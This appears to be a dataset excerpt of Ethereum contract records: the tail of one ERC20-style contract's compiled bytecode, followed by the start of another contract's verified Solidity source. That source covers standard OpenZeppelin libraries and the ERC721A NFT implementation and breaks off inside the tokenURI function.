5b816004811115611eb457611eb3612d86565b5b1415611ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eec90612892565b60405180910390fd5b60026004811115611f0957611f08612d86565b5b816004811115611f1c57611f1b612d86565b5b1415611f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5490612912565b60405180910390fd5b60036004811115611f7157611f70612d86565b5b816004811115611f8457611f83612d86565b5b1415611fc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbc90612992565b60405180910390fd5b600480811115611fd857611fd7612d86565b5b816004811115611feb57611fea612d86565b5b141561202c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612023906129b2565b60405180910390fd5b5b50565b60008135905061203f816133cc565b92915050565b600081359050612054816133e3565b92915050565b600081359050612069816133fa565b92915050565b60008135905061207e81613411565b92915050565b60008135905061209381613428565b92915050565b6000602082840312156120af576120ae612e42565b5b60006120bd84828501612030565b91505092915050565b600080604083850312156120dd576120dc612e42565b5b60006120eb85828601612030565b92505060206120fc85828601612030565b9150509250929050565b60008060006060848603121561211f5761211e612e42565b5b600061212d86828701612030565b935050602061213e86828701612030565b925050604061214f8682870161206f565b9150509250925092565b600080600080600080600060e0888a03121561217857612177612e42565b5b60006121868a828b01612030565b97505060206121978a828b01612030565b96505060406121a88a828b0161206f565b95505060606121b98a828b0161206f565b94505060806121ca8a828b01612084565b93505060a06121db8a828b01612045565b92505060c06121ec8a828b01612045565b91505092959891949750929550565b6000806040838503121561221257612211612e42565b5b600061222085828601612030565b92505060206122318582860161206f565b9150509250929050565b60006020828403121561225157612250612e42565b5b600061225f84828501612045565b91505092915050565b6000806040838503121561227f5761227e612e42565b5b600061228d85828601612045565b925050602061229e85828601612030565b9150509250929050565b6000602082840312156122be576122bd612e42565b5b60006122cc8482850161205a565b91505092915050565b6000602082840312156122eb576122ea612e42565b5b60006122f98482850161206f565b91505092915050565b61230b81612c33565b82525050565b61231a81612c45565b82525050565b61232981612c51565b82525050565b61234061233b82612c51565b612d4d565b82525050565b600061235182612b28565b61235b8185612b33565b935061236b818560208601612cbe565b61237481612e47565b840191505092915050565b600061238a82612b28565b6123948185612b44565b93506123a4818560208601612cbe565b80840191505092915050565b60006123bd601883612b33565b91506123c882612e58565b602082019050919050565b60006123e0602083612b33565b91506123eb82612e81565b602082019050919050565b6000612403602383612b33565b915061240e82612eaa565b604082019050919050565b6000612426602283612b33565b915061243182612ef9565b604082019050919050565b6000612449601f83612b33565b915061245482612f48565b602082019050919050565b600061246c602283612b33565b915061247782612f71565b604082019050919050565b600061248f600283612b44565b915061249a82612fc0565b600282019050919050565b60006124b2601d83612b33565b91506124bd82612fe9565b602082019050919050565b60006124d5602683612b33565b91506124e082613012565b604082019050919050565b60006124f8602283612b33565b915061250382613061565b604082019050919050565b600061251b602283612b33565b9150612526826130b0565b604082019050919050565b600061253e601e83612b33565b9150612549826130ff565b602082019050919050565b6000612561602883612b33565b915061256c82613128565b604082019050919050565b6000612584602483612b33565b915061258f82613177565b604082019050919050565b60006125a7602183612b33565b91506125b2826131c6565b604082019050919050565b60006125ca602583612b33565b91506125d582613215565b604082019050919050565b60006125ed602483612b33565b91506125f882613264565b604082019050919050565b6000612610601783612b44565b915061261b826132b3565b601782019050919050565b6000612633602583612b33565b915061263e826132dc565b604082019050919050565b6000612656601183612b44565b91506126618261332b565b601182019050919050565b6000612679602f83612b33565b915061268482613354565b604082019050919050565b600061269c601f83612b33565b91506126a7826133a3565b602082019050919050565b6126bb81612ca7565b82525050565b6126ca81612cb1565b82525050565b60006126db82612482565b91506126e7828561232f565b6020820191506126f7828461232f565b6020820191508190509392505050565b600061271282612603565b915061271e828561237f565b915061272982612649565b9150612735828461237f565b91508190509392505050565b60006020820190506127566000830184612311565b92915050565b60006020820190506127716000830184612320565b92915050565b600060c08201905061278c6000830189612320565b6127996020830188612302565b6127a66040830187612302565b6127b360608301866126b2565b6127c060808301856126b2565b6127cd60a08301846126b2565b979650505050505050565b600060a0820190506127ed6000830188612320565b6127fa6020830187612320565b6128076040830186612320565b61281460608301856126b2565b6128216080830184612302565b9695505050505050565b60006080820190506128406000830187612320565b61284d60208301866126c1565b61285a6040830185612320565b6128676060830184612320565b95945050505050565b6000602082019050818103600083015261288a8184612346565b905092915050565b600060208201905081810360008301526128ab816123b0565b9050919050565b600060208201905081810360008301526128cb816123d3565b9050919050565b600060208201905081810360008301526128eb816123f6565b9050919050565b6000602082019050818103600083015261290b81612419565b9050919050565b6000602082019050818103600083015261292b8161243c565b9050919050565b6000602082019050818103600083015261294b8161245f565b9050919050565b6000602082019050818103600083015261296b816124a5565b9050919050565b6000602082019050818103600083015261298b816124c8565b9050919050565b600060208201905081810360008301526129ab816124eb565b9050919050565b600060208201905081810360008301526129cb8161250e565b9050919050565b600060208201905081810360008301526129eb81612531565b9050919050565b60006020820190508181036000830152612a0b81612554565b9050919050565b60006020820190508181036000830152612a2b81612577565b9050919050565b60006020820190508181036000830152612a4b8161259a565b9050919050565b60006020820190508181036000830152612a6b816125bd565b9050919050565b60006020820190508181036000830152612a8b816125e0565b9050919050565b60006020820190508181036000830152612aab81612626565b9050919050565b60006020820190508181036000830152612acb8161266c565b9050919050565b60006020820190508181036000830152612aeb8161268f565b9050919050565b6000602082019050612b0760008301846126b2565b92915050565b6000602082019050612b2260008301846126c1565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000612b5a82612ca7565b9150612b6583612ca7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b9a57612b99612d57565b5b828201905092915050565b6000612bb082612ca7565b9150612bbb83612ca7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612bf457612bf3612d57565b5b828202905092915050565b6000612c0a82612ca7565b9150612c1583612ca7565b925082821015612c2857612c27612d57565b5b828203905092915050565b6000612c3e82612c87565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015612cdc578082015181840152602081019050612cc1565b83811115612ceb576000848401525b50505050565b6000612cfc82612ca7565b91506000821415612d1057612d0f612d57565b5b600182039050919050565b60006002820490506001821680612d3357607f821691505b60208210811415612d4757612d46612db5565b5b50919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45434453413a20696e76616c6964207369676e61747572650000000000000000600082015250565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45434453413a20696e76616c6964207369676e6174757265206c656e67746800600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b7f45524332305065726d69743a206578706972656420646561646c696e65000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45434453413a20696e76616c6964207369676e6174757265202773272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b7f45434453413a20696e76616c6964207369676e6174757265202776272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332305065726d69743a20696e76616c6964207369676e61747572650000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6133d581612c33565b81146133e057600080fd5b50565b6133ec81612c51565b81146133f757600080fd5b50565b61340381612c5b565b811461340e57600080fd5b50565b61341a81612ca7565b811461342557600080fd5b50565b61343181612cb1565b811461343c57600080fd5b5056fea264697066735822122029bbe07342b3bd5dacf80f0d3f6dfe02296ffc260e23b735ebf04cd3d23bebf264736f6c63430008070033
[ 38 ]
0xf20A1c35463d7541A150958AC0231Ff650d71249
/** *Submitted for verification at Etherscan.io on 2022-03-10 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: erc721a/contracts/ERC721A.sol // Creator: Chiru Labs pragma solidity ^0.8.4; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintedQueryForZeroAddress(); error BurnedQueryForZeroAddress(); error AuxQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerIndexOutOfBounds(); error OwnerQueryForNonexistentToken(); error TokenIndexOutOfBounds(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev See {IERC721Enumerable-totalSupply}. * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { if (owner == address(0)) revert MintedQueryForZeroAddress(); return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { if (owner == address(0)) revert BurnedQueryForZeroAddress(); return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { if (owner == address(0)) revert AuxQueryForZeroAddress(); return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { if (owner == address(0)) revert AuxQueryForZeroAddress(); _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string 